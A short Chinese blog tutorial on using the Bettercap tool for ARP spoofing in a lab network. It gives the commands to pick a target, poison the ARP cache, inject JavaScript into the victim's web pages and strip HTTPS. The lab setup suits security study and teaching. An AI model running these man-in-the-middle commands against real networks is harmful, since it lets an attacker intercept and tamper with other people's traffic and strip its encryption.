Bttercap -- ARP欺骗功能

Posted 2021-08-05 web安全工具库

​扛不住的就死扛，能陪你走到最后的就是那个了不起的自己。。。

----  网易云热评

一、安装方法

1、Kali系统自带Bttercap

2、软件下载地址（原作者）：https://github.com/bettercap/bettercap/releases/

二、环境介绍

1、目标主机，IP地址192.168.139.129，网关192.168.139.2

2、arp列表

2、攻击主机，IP地址192.168.139.133

三、常用命令

1、启动Bttercap

2、设置要欺骗的ip地址，如果不设置，默认是全局ip

set arp.spoof.targets 192.168.139.129

3、启动欺骗

arp.spoof on

4、重新查看arp列表，网关的mac地址和我们攻击机的mac地址相同

四、给目标主机弹窗

1、设置弹窗内容

set http.proxy.injectjs alert (123)

2、设置https的网站才弹窗，没有这个句只针对http的网站

set http.proxy.sslstrip true

3、启动代理

http.proxy on

禁止非法，后果自负

欢迎关注公众号：web安全工具库

欢迎关注视频号：之乎者也吧